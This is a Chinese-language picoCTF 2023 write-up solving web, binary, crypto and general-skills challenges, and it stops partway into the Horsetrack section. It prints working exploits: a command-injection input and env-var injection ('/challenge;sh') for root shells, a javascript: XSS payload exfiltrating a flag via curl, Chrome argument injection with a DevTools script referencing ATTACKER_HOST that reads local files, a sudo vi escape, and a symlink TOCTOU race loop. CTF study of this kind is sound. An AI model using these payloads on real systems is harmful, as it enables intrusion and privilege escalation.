picoCTF 2023 WriteUps

今年 picoCTF 也是 solo 參與,只有前面第一兩天挑了些分數較高的題目來解解,後面就都沒碰了。

General Skills

Special

是一個 python 程式,它會對你的輸入做一些未知的處理之後送進 os.system,不過因為沒 source code 就只能亂試而已。我的解法是輸入 a;`cat` 之後輸入 bash,之後 Ctrl-D 就拿到 shell 了。之所以能這樣做是因為題目都是用 ssh 連線的,所以有 tty 能讓我送 EOF。

我拿到 Flag 是 picoCTF{5p311ch3ck_15_7h3_w0r57_0c61d335},然後也順便把題目的 source code 抓了下來:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python3

import os
from spellchecker import SpellChecker



spell = SpellChecker()

while True:
cmd = input("Special$ ")
rval = 0

if cmd == 'exit':
break
elif 'sh' in cmd:
print('Why go back to an inferior shell?')
continue
elif cmd[0] == '/':
print('Absolutely not paths like that, please!')
continue

# Spellcheck
spellcheck_cmd = ''
for word in cmd.split():
fixed_word = spell.correction(word)
if fixed_word is None:
fixed_word = word
spellcheck_cmd += fixed_word + ' '

# Capitalize
fixed_cmd = list(spellcheck_cmd)
words = spellcheck_cmd.split()
first_word = words[0]
first_letter = first_word[0]
if ord(first_letter) >= 97 and ord(first_letter) <= 122:
fixed_cmd[0] = chr(ord(spellcheck_cmd[0]) - 0x20)
fixed_cmd = ''.join(fixed_cmd)

try:
print(fixed_cmd)
os.system(fixed_cmd)
except:
print("Bad command!")

Specialer

這題 ssh 上去後是個 bash shell,但是 ls 等等的指令都執行不了,可以猜測說大概是 binary 都被刪除了,只剩下 /bin/bash 而已。不過這個情況我很熟悉,因為它很類似我曾經出過的另一題 Free Shell,但是那題困難很多。

不過核心概念就是怎麼只用 bash builtin 的功能做 lscat 的工作而已。echo * 可以讓你列出當前目錄下的檔案,也能結合 glob 做很多不同的事。而這題檔案很多,不確定 flag 在哪,所以用個 loop 把所有 glob 能 match 的檔案都用 echo $(<$file) 看看有沒有 flag 就好了:

1
for f in **/*; do echo $(<$f); done

Flag: picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_d5ef8b71}

Web Exploitation

Java Code Analysis!?!

這題是個從這個改來的 spring boot 網頁,讀一下 source code 可以在 SecretGenerator 看到:

1
2
3
4
private String generateRandomString(int len) {
// not so random
return "1234";
}

所以 jwt secret key 固定是 1234,那麼 sign 個 admin jwt 就能拿到 flag 了:

1
2
3
4
5
6
7
8
{
"role": "Admin",
"iss": "bookshelf",
"exp": 1679561205,
"iat": 1678956405,
"userId": 2,
"email": "admin"
}

msfroggenerator2

這題架構是有個 openresty (nginx) server 在最外層,然後中間經過 traefik 之後後面有 api 和 bot 兩個 backend。

nginx config:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
server {
listen 8080;
resolver local=on;
location / {
add_header Content-Security-Policy "default-src 'none'; script-src 'self'; style-src 'self'; img-src https://cdn.jsdelivr.net/gh/Crusaders-of-Rust/corCTF-2022-public-challenge-archive@master/web/msfroggenerator/task/img/; connect-src 'self'" always;
root /var/www;
}
location /api/ {
proxy_set_header Host api;
proxy_pass "http://traefik:8080";
}
location = /report {
proxy_set_header Host bot;
set_by_lua $url 'return "http://openresty:8080/?id=" .. ngx.var.arg_id';
proxy_pass "http://traefik:8080/?url=$url";
}
}

traefik:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
http:
routers:
api:
service: api
rule: "Host(`api`)"
bot:
service: bot
rule: "Host(`bot`)"
services:
api:
loadBalancer:
servers:
- url: "http://api:8080"
bot:
loadBalancer:
servers:
- url: "http://bot:8080"

/var/www 那下面有個靜態網站,上面會 call 一些 /api/ 的 api,不過簡單讀過之後會發現似乎根本沒辦法 XSS。不過這題另一個特別可疑的地方就是為什麼要用兩個 reverse proxy,這部分其實和 bot 有關:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import puppeteer from 'puppeteer';
import { readFile } from 'fs/promises'

const sleep = time => new Promise(resolve => setTimeout(resolve, time));
const flag = await readFile('/flag.txt', 'utf-8');

const browser = await puppeteer.launch({
headless: false,
pipe: true,
dumpio: true,
args: [
'--incognito',
'--js-flags=--jitless',
'--no-sandbox'
],
defaultViewport: {
width: 1280,
height: 720
}
});

const visit = async () => {
const page = await browser.newPage();
const [url] = process.argv.slice(2);
await page.goto('http://openresty:8080/');
await page.evaluate(flag => {
localStorage.setItem('flag', flag);
}, flag);
await page.goto(url);
await sleep(5000);
const screenshot = await page.screenshot({
type: 'png',
encoding: 'base64'
});
await page.evaluate(async screenshot => {
await fetch('/api/reports/add', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${localStorage.getItem('flag')}`
},
body: JSON.stringify({ screenshot })
});
}, screenshot);
}

try { await Promise.race([ visit(), sleep(10000) ]); } catch(e) { console.log(e) };
await browser.close();

還有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import { createServer } from 'http';
import { spawn } from 'child_process';

let running = false;

createServer((req, res) => {
const { url } = Object.fromEntries(new URL(`http://${req.headers.host}${req.url}`).searchParams);
res.writeHead(200);
if (!url) return res.end('Invalid request');
if (running) return res.end('Already running!');
(async () => {
running = true;
console.log('Starting...');
const proc = spawn('node', ['bot.js', url], {
stdio: ['inherit', 'inherit', 'inherit']
});
await new Promise(resolve => proc.on('exit', resolve));
console.log('Exited');
running = false;
})();
res.end('Sent! ' + url);
}).listen(8080);

從 nginx 那邊我們知道 /report 會把我們傳入的 id 參數變成 url=http://openresty:8080/?id=$id,所以 bot 收到的 url 一定是 http://openresty:8080/ 的對吧? 然而 traefik 在判斷 query string separator 的時候還會考慮分號 ;,而在 2.7.2 版本之後還會直接把 ; normalize 成 &。 (ref: traefik issue #9164, source)

所以只要讓 id 變成 ;id=another_url,那麼根據 new URL 出現重複參數會取後者的性質,another_url 就會直接進入 page.goto(url),中途沒有經過任何的檢查,所以我們可以塞 javascript:... 達成 XSS。

1
2
3
4
base=http://saturn.picoctf.net:64716
curl -g $base'/report?id=;url=javascript:fetch("/api/reports/add",{method:"POST",headers:{"Content-Type":"application/json","Authorization":`Bearer\u0020${localStorage.flag}`},body:JSON.stringify({url:localStorage.flag})})' -v
sleep 5
curl $base'/api/reports/get' | jq .[].url

不過後來和作者聊過之後發現前半正確,但 javascript: 不是 intended XD,正確解法是利用 chrome 強制下載的功能(這也是 bot 非 headless 的原因)可以讓檔案出現在 /root/Downloads/xxx.html,然後覆蓋 fetch 後就能攔截到 flag 了。

作者原本預期 CSP 會擋住 javascript: 的,但 chrome 似乎會允許 page.goto (等價於 user 自己在網址列輸入) 通過的樣子,不管 CSP。

cancri-sp

這題看起來就像是 browser pwn,因為題目給了一個 patch 過的 chromium 還有一些 mojo 方面的 C++ code,但我用 unintended 解了 XDDD。

它執行 bot 的 shell script 長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
set -eux

SCRIPT_DIR=$(dirname -- "$0")

sleep 3 | exec $SCRIPT_DIR/src/out/Final/chrome \
--enable-blink-features=MojoJS \
--headless \
--disable-gpu \
--remote-debugging-pipe \
--user-data-dir=/does-not-exist \
--disable-dev-shm-usage \
--no-sandbox \
$1 3<&0 4>/dev/null

而 server 是直接把你給的 url 原封不動的當 argv 傳入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
var express = require('express');
var { spawnSync } = require('child_process');
var app = express();

const PORT = process.env.PORT || 1337;

let pwning = false;

app.get("/bot", async (req, res) => {
const url = req.query.target;

if (typeof url != "string" || !url.startsWith("http://")) {
return res.end("bad");
}

if (pwning) {
return res.end("come back later");
}
pwning = true;
console.log("pwning ", url);
const output = spawnSync(__dirname + "/../run.sh", [url], {
env: {},
timeout: 3 * 1000,
cwd: "/"
});
pwning = false;

res.end("done");
});

app.use(express.static(__dirname + "/public"));

app.listen(PORT, '0.0.0.0', () => {
console.log("listening ", PORT)
});

不過有寫過 shell script 的人應該都知道把 variable 包在引號裡是非常重要的一件式,不然 shell 會自動對空白分割當多個 argv 傳入,細節請參見 Security implications of forgetting to quote a variable in bash/POSIX shells

所以我們這邊只要讓 url 有空白就能對 chrome 做 argument injection,而查一下可以知道有很多 --no-sandbox --disable-gpu-sandbox --gpu-launcher --renderer-cmd-prefix 等等的參數可以拿 RCE,但我這邊只能讓它執行 binary 而已,沒辦法控到參數。

不過我這邊就換了個做法,用了 --disable-web-security --remote-debugging-port=9222 --remote-allow-origins=* --headless=new 讓我能直接打 Chrome DevTools Protocol 去讀目錄並和讀 flag。 (--headless=new 好像是因為有遇到一些行為不同的問題才加的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<script>
// location='/bot?target='+encodeURIComponent('http://ATTACKER_HOST/ --disable-web-security --remote-debugging-port=9222 --remote-allow-origins=* --headless=new')
function log(...args) {
console.log(...args)
navigator.sendBeacon('/log:' + String(args[0]), JSON.stringify(args, null, 2))
}
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
const path = '/challenge/flag-53035d3cba0664dfac37ff64b6e0f86e'
;(async () => {
const res = await fetch('http://localhost:9222/json/new?file://' + path, { method: 'PUT' }).then(r => r.json())
log('new', res)
const ws = new WebSocket(res.webSocketDebuggerUrl)
ws.onerror = e => {
log('wserr', e)
}
ws.onmessage = e => {
log('wsmsg', e.data)
}
ws.onopen = async () => {
log('wsopen')
await sleep(500)
ws.send(
JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `document.body.innerHTML`
}
})
)
}
})().catch(err => {
log('err', err.message, err.stack)
})
</script>
picoCTF{eac36dc6}

附註: 其實只用 Chrome DevTools Protocol 也是有機會拿 RCE 的,參考 ASIS CTF 2022 - xtr

Cryptography

SRA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import getPrime, inverse, bytes_to_long
from string import ascii_letters, digits
from random import choice

pride = "".join(choice(ascii_letters + digits) for _ in range(16))
gluttony = getPrime(128)
greed = getPrime(128)
lust = gluttony * greed
sloth = 65537
envy = inverse(sloth, (gluttony - 1) * (greed - 1))

anger = pow(bytes_to_long(pride.encode()), sloth, lust)

print(f"{anger = }")
print(f"{envy = }")

print("vainglory?")
vainglory = input("> ").strip()

if vainglory == pride:
print("Conquered!")
with open("/challenge/flag.txt") as f:
print(f.read())
else:
print("Hubris!")

這題的 RSA 給你了 和一個 ,需要想辦法得到

我的做法是 ,所以分解 有機會找到 ,然後如果 都是 128 bits 的質數的話就試著 decrypt 看看得到的 是不是都在那個 message 可能的字元集中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import process, remote
from sage.all import divisors, is_pseudoprime
from Crypto.Util.number import long_to_bytes

# io = process(["python", "chal.py"])
io = remote("saturn.picoctf.net", 61223)
io.recvuntil(b"anger = ")
c = int(io.recvline().strip())
io.recvuntil(b"envy = ")
d = int(io.recvline().strip())
e = 65537
kphi = e * d - 1

for pm1 in divisors(kphi):
p = pm1 + 1
if is_pseudoprime(p) and p.bit_length() == 128:
for k in range(1, e):
if kphi % k != 0:
continue
q = (kphi // k // pm1) + 1
if is_pseudoprime(q) and q.bit_length() == 128:
print(p)
print(q)
n = p * q
m = pow(c, d, n)
msg = long_to_bytes(m)
print(msg)
if msg.isalnum():
io.sendline(msg)
print(io.recvall())
exit()
# picoCTF{7h053_51n5_4r3_n0_m0r3_3ed2713f}

PowerAnalysis: Warmup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
import random, sys, time

with open("key.txt", "r") as f:
SECRET_KEY = bytes.fromhex(f.read().strip())

Sbox = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)

# Leaks one bit of information every operation
leak_buf = []
def leaky_aes_secret(data_byte, key_byte):
out = Sbox[data_byte ^ key_byte]
leak_buf.append(out & 0x01)
return out

# Simplified version of AES with only a single encryption stage
def encrypt(plaintext, key):
global leak_buf
leak_buf = []
ciphertext = [leaky_aes_secret(plaintext[i], key[i]) for i in range(16)]
return ciphertext

# Leak the number of 1 bits in the lowest bit of every SBox output
def encrypt_and_leak(plaintext):
ciphertext = encrypt(plaintext, SECRET_KEY)
ciphertext = None # throw away result
time.sleep(0.01)
return leak_buf.count(1)

pt = input("Please provide 16 bytes of plaintext encoded as hex: ")
if len(pt) != 32:
print("Invalid length")
sys.exit(0)

pt = bytes.fromhex(pt)
print("leakage result:", encrypt_and_leak(pt))

這題會把你輸入的 message 和隱藏的 key xor 之後輸出

因為這邊其實各個 byte 是可以分開討論的,所以這邊我們先假定要找的只是 key 的第一個 byte 而已。我的作法是先隨機送一些 過去拿到對應的 ,然後接下來爆破 拿到 的值,結果會是一個 的矩陣,其中某個 column 會和 相同,所以就能知道 key byte 是 了。把這個方法也用到其他 byte 上就可以拿到整個 key 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import context, process, remote
import numpy as np
from tqdm import tqdm

context.log_level = "error"

# fmt: off
Sbox = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
# fmt: on


def oracle(pt):
# io = process(["python", "encrypt.py"])
io = remote("saturn.picoctf.net", 54334)
io.sendline(pt.hex().encode())
io.recvuntil(b"result: ")
r = int(io.recvlineS().strip())
io.close()
return r


def corr(xs, ys):
# a simple correlation function
dx = [a - b for a, b in zip(xs, xs[1:])]
dy = [a - b for a, b in zip(ys, ys[1:])]
return len([1 for a, b in zip(dx, dy) if a == b])


def recover_key_byte(idx):
pt = bytearray([0] * 16)
res = []
pt_samples = range(0, 256, 8) # to reduce the number of requests
for i in tqdm(pt_samples):
pt[idx] = i
res.append(oracle(pt))
out = [[Sbox[i ^ kb] & 1 for i in pt_samples] for kb in range(256)]
cor = [corr(res, o) for o in out]
mx = np.argmax(cor)
print(mx)
print(np.sort(cor)[-10:])
return mx


key = bytes([recover_key_byte(i) for i in range(16)])
print(key.hex())
flag = f"picoCTF{{{key.hex()}}}"
print(flag)
# picoCTF{18427c31163ec78ed7ec67cd27f58d47}

PowerAnalysis: Part 1 / Part 2

這兩題其實很類似,不過第一題是允許你選擇 AES plaintext 然後得到目標的 power traces,而第二題只給你這種格式的 txt 而已:

1
2
Plaintext: 78695fc56ec9de44bf6dabdc6e264760
Power trace: [79, 94, 103, 134, 119, 121, 64, 101, 63, 80, 75, ...]

因為我這題其實是先解第二題的,所以就寫個腳本隨機生成一些 plaintext 然後得到指定的 power traces,然後弄成格式一樣的 txt 就能一次解兩個了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import remote
from pathlib import Path
import os, ast

traces = Path("traces")
traces.mkdir(exist_ok=True)

for i in range(100):
io = remote("saturn.picoctf.net", 55421)
pt = os.urandom(16)
io.sendline(pt.hex().encode())
io.recvuntil(b"result: ")
trace = ast.literal_eval(io.recvlineS().strip())
f = traces / f"trace{i:02d}.txt"
f.write_text(
f"""Plaintext: {pt.hex()}
Power trace: {trace}
"""
)
io.close()

總之這題沒有 source code,不過 hint 有說 The power consumption is correlated with the Hamming weight of the bits being processed,所以明顯是 Simple Power Analysis。

這邊的概念其實和 wramup 很類似,不過這邊是使用 hamming weight 和得到的 power traces 中某個時間點的 power 計算相關係數,在爆破 的 bytes 的時候會有一個 的相關係數比別人高,由此就能知道 key byte 的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pathlib import Path
import ast
import numpy as np
from scipy.stats import pearsonr
from tqdm import tqdm

pts = []
traces = []
for f in Path("traces").iterdir():
l = f.read_text().splitlines()
pt = bytes.fromhex(l[0].split(": ")[1])
trace = ast.literal_eval(l[1].split(": ")[1])
pts.append(pt)
traces.append(trace)

# fmt: off
sbox = [
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
]
# fmt: on


def power_model(x):
return x.bit_count()


key = []
for target_idx in range(16):
M = np.array(
[[sbox[pt[target_idx] ^ k] for k in range(256)] for pt in pts]
) # guess all key bytes
MP = np.vectorize(power_model)(M)
TR = np.array(traces)[:, 300:400] # by guessing where the first sbox happens

def get_max_corr(l):
# compute the max correlation between guessed power consumption and power traces over a range of time
mx = 0
for r in TR.T: # power traces at a time over all samples
mx = max(mx, pearsonr(l, r)[0])
return mx

res = np.array([get_max_corr(x) for x in tqdm(MP.T)])
mx = np.argmax(res)
print(mx)
print(res[mx])
print(
np.sort(res)[-10:]
) # should have a value that is significantly higher than the rest
key.append(mx)
key = bytes(key)
print(key)
print(f"picoCTF{{{key.hex()}}}")
# Part 1: picoCTF{ce920ac29f329f624d373ccd26bc3d83}
# Part 2: picoCTF{ce920ac29f329f624d373ccd26bc3d83}

後來我才知道其實還有個 scared 的 library 可以幫你自動做這類的 side channel analysis,詳情可參考這篇 writeup

Binary Exploitation

hijacking

ssh 上去 sudo -l 看到:

1
2
3
User picoctf may run the following commands on challenge:
(ALL) /usr/bin/vi
(root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py

所以 sudo vi 之後 ESC:!/bin/sh 就可以拿到 root shell 了,而 flag 在 /root/.flag.txt 之中: picoCTF{pYth0nn_libraryH!j@CK!n9_f56dbed6}

不過從 flag 可知它顯然不是 intended,正確做法是利用那個 .server.py:

1
2
3
4
5
6
7
8
9
10
11
import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)

python 預設會從 cwd 找 module,所以我們可以在 cwd 放一個 base64.py 裡面跑 shell 就能拿到 root 了。

tic-tac

ssh 上去可看到有個 suid binary,source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>

int main(int argc, char *argv[]) {
if (argc != 2) {
std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
return 1;
}

std::string filename = argv[1];
std::ifstream file(filename);
struct stat statbuf;

// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) {
std::cerr << "Error: Could not retrieve file information" << std::endl;
return 1;
}

// Check the file's owner.
if (statbuf.st_uid != getuid()) {
std::cerr << "Error: you don't own this file" << std::endl;
return 1;
}

// Read the contents of the file.
if (file.is_open()) {
std::string line;
while (getline(file, line)) {
std::cout << line << std::endl;
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
}

return 0;
}

可以知道它在檢查 owner 和實際上讀取的時候有時差,所以可以利用 toctou 去讀取只有 root 才能碰的 flag。

1
2
3
{ while true; do ln -sf flag.txt lnk; ln -sf hello.txt lnk; done } &
while true; do ./txtreader lnk; done
# picoCTF{ToctoU_!s_3a5y_2075872e}

VNE

這題有個 binary,scp 下來反編譯可以看到這段 code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
v14 = getenv("SECRET_DIR");
if ( v14 )
{
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Listing the content of ");
v6 = std::operator<<<std::char_traits<char>>(v5, v14);
v7 = std::operator<<<std::char_traits<char>>(v6, " as root: ");
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
std::allocator<char>::allocator(&v12);
std::string::basic_string(v16, v14, &v12);
std::operator+<char>(v15, "ls ", v16);
std::string::~string(v16);
std::allocator<char>::~allocator(&v12);
setgid(0);
setuid(0);
v8 = (const char *)std::string::c_str(v15);
v13 = system(v8);
if ( v13 )
{
v9 = std::operator<<<std::char_traits<char>>(&std::cerr, "Error: system() call returned non-zero value: ");
v10 = std::ostream::operator<<(v9, v13);
std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
v4 = 1;
}
else
{
v4 = 0;
}
std::string::~string(v15);
}

所以它會執行 system("ls" + SECRET_DIR),所以可以 command injection 拿 root shell: SECRET_DIR='/challenge;sh' ./bin

另一個方法是利用 ls 是用 relative path 呼叫的特性,而 suid binary 又不像 sudo 會幫你把一些危險的環境變數如 PATH 清掉,所以可以 PATH=/tmp 然後裡面放個 ls 的 script 也能拿 root shell。

Horsetrack

1
2
3
4
5
6
7
[*] '/home/maple3142/workspace/pico2023/horsetrack/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
